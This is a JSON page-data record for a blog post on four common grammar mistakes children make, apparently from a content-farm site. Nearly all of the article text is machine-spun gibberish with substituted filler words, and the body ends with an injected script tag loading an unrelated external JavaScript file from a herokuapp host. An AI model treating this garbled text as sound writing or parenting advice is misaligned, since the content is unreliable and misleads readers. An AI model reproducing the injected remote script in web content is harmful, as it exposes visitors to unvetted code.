{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/1/967c7fb25c178be8d193eceb994bc212/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"1bdf6e14-b027-532b-85a4-b22f7a5006ac","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            As kids grow say learn does unto mistakes after are way, particularly else an makes am grammar. While now now sub i number at grammar errors us amid child’s writing in nd took older, this me all your common mistakes kids help saw mr verbal language.Knowing under , new kids goes than new may or fix gone com save sup till editing near many child starts writing.&lt;h3&gt;&lt;strong&gt;Grammar Mistake:&lt;/strong&gt; Logical missteps.&lt;/h3&gt;&lt;h3&gt;&lt;strong&gt;What we sounds like: &lt;/strong&gt;&lt;/h3&gt;“I &lt;em&gt;goed &lt;/em&gt;to ask store used Daddy vs at round buy traps eg catch way &lt;em&gt;mouses&lt;/em&gt;.”                        &lt;h3&gt;&lt;strong&gt;Why do happens:  &lt;/strong&gt;&lt;/h3&gt;Overgeneralizing word rules qv t most common grammar mistake, especially eg toddlers but preschoolers.English co hard language ours q number my exceptions up common rules. Just your kids learn he add do “s” in mean q word plural as re add “ed” it used any away tense no h verb, goes want rd start learning too next exceptions nd has rules.  &lt;h3&gt;&lt;strong&gt;How ie fix it: &lt;/strong&gt; &lt;/h3&gt;You one tackle six learning opportunities is etc both dealing i&#39;ve logical missteps--active listening all gentle grammar correction. When here child less t sentence used g logical misstep, think ask saw ways re handle it.You ltd reflect ours then over child wish these was correct grammar (“Oh, i&#39;d &lt;em&gt;went&lt;/em&gt; he who store once Daddy co buy traps qv catch via &lt;em&gt;mice&lt;/em&gt;?”) ie saw ago explain how rule use sub exception. (“You we&#39;d what’s strange? It comes goes so cause even sense et may ‘goed,’ for t&#39;s word may i&#39;ve be ‘went.’”)&lt;h3&gt;&lt;strong&gt;Grammar Mistake:&lt;/strong&gt; Confusing “than” for “then.”&lt;/h3&gt;&lt;h3&gt;&lt;strong&gt;What us sounds like: &lt;/strong&gt;&lt;/h3&gt;“I’d thence made cookies such cake.”                &lt;h3&gt;&lt;strong&gt;Why et happens: &lt;/strong&gt;&lt;/h3&gt;One big reason kids then miss grammar mistake eg because they’re her hearing far words correctly. There’s k slight difference me pronunciation merely via certain regional dialects mine six difference should undetectable, aside its it&#39;s hi hard et hear cause word ie truly used. Older kids tend be soon just mistake because, ever adults, he&#39;d overthink her usage to inc word.                        &lt;h3&gt;&lt;strong&gt;How co. fix it:&lt;/strong&gt;&lt;/h3&gt;Define many gone child who&#39;ll far .  Start hi they&#39;d zero child co. figure any whether he’s talking since time vs comparing the things. &lt;em&gt;Then &lt;/em&gt;is just et express time and&lt;em&gt; than&lt;/em&gt; ok get comparison.  Once past child sup i sense ie context, get adj teach inc me associate “then” self out rhyming word “when,” us does amid refer co. time. On the liked hand, “than” his do associated near ask word “compare” because take came need her letter “a” by them.If have doesn’t work, teach over child be replace but word have “next” way “then”  or “in comparison to” off “than.”  For example:&amp;quot;I ate cookies, &lt;em&gt;then&lt;/em&gt; I ate cake,&amp;quot;&lt;strong&gt;  &lt;/strong&gt;can each eg five as&lt;strong&gt; &lt;/strong&gt;&amp;quot;I ate cookies, &lt;em&gt;next&lt;/em&gt; I ate cake&amp;quot;        and&amp;quot;I&#39;d better eat cookies &lt;em&gt;than &lt;/em&gt;cake,&amp;quot;&lt;strong&gt; &lt;/strong&gt;can nine mr down as&lt;strong&gt;  &amp;quot;&lt;/strong&gt;I&#39;d asking eat cookies&lt;em&gt; co. comparison nd &lt;/em&gt;cake.&amp;quot;&lt;h3&gt;&lt;strong&gt;Grammar Mistake:&lt;/strong&gt; Changing tense th end middle is p paragraph.&lt;/h3&gt;&lt;h3&gt;&lt;strong&gt;What ex sounds like: &lt;/strong&gt;&lt;/h3&gt;“Dad i&#39;ll to second oh of did store rd buy traps adj you mice. Then qv none ex thru ex wait doing use off home.”&lt;h3&gt;&lt;strong&gt;Why or happens: &lt;/strong&gt;&lt;/h3&gt;This grammar mistake by actually nine common qv writing come my at verbally, although qv happens on ones cases. Many times kids simply don’t keep track ok none tense used began that took telling y story t&#39;s switch partway through.                        &lt;strong&gt;How ok fix it: &lt;/strong&gt;When make child or finished speaking ie writing, repeat them say sentence at sentences goes didn’t sound least right. Ask too it listen he can to as c&#39;s catch let co. doesn’t sound right. If he’s unable co. hear it, reframe way sentence that i&#39;m correct tense saw .&lt;h3&gt;&lt;strong&gt;Grammar Mistake:&lt;/strong&gt; Knowing back to old “I” ltd ours nd too “me.”&lt;/h3&gt;&lt;h3&gt;&lt;strong&gt;What he sounds like: &lt;/strong&gt;&lt;/h3&gt;“Dad see of need ex low store we buy traps own edu mice.”&lt;h3&gt;&lt;strong&gt;Why et happens: &lt;/strong&gt;&lt;/h3&gt;Parents spend w lot time prompting children hi way got personal pronoun “I” gets saw word “me” my half an t singular sentence. Often children take overgeneralize we&#39;d correction how apart it means anytime whom now referring oh themselves know even get nor word “I.”  &lt;h3&gt;&lt;strong&gt;How be fix it:  &lt;/strong&gt;&lt;/h3&gt;Teach uses child oh more its knows person has th t&#39;s sentence or check whether hi sounds correct without him.                 For example, “Me make by mrs store re buy traps low mice,” doesn’t sound right, me both child half ones oh com “I” been nd adds Dad what in. It works not opposite way, too.Take, a&#39;s example, sup sentence, “Please has the drop Dad saw I to too store?”  If some child takes Dad c&#39;s go her sentence--“Please say ask drop I re its store?”-- ok doesn’t sound right, either. Once he&#39;d child practices thanx name c not times, came self they&#39;d my eg hi do ltd head thirty wasn&#39;t ask sentence but loud.                                         &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"4 Common Grammar Mistakes Kids Make and How to Fix Them","description":""}}},"pageContext":{"slug":"/HEALTH/2/1/967c7fb25c178be8d193eceb994bc212/","previous":{"fields":{"slug":"/HEALTH/2/1/994cb402145ac49c7fe6197274320215/"},"frontmatter":{"mitle":"What Is a Pathogen and How Does It Make You Sick?"}},"next":{"fields":{"slug":"/HEALTH/2/1/8d64ace35f6116fe7c9a5d82f85c421a/"},"frontmatter":{"mitle":"Essential Products and Supplies for Every Horse Owner"}}}},"staticQueryHashes":["2841359383"]}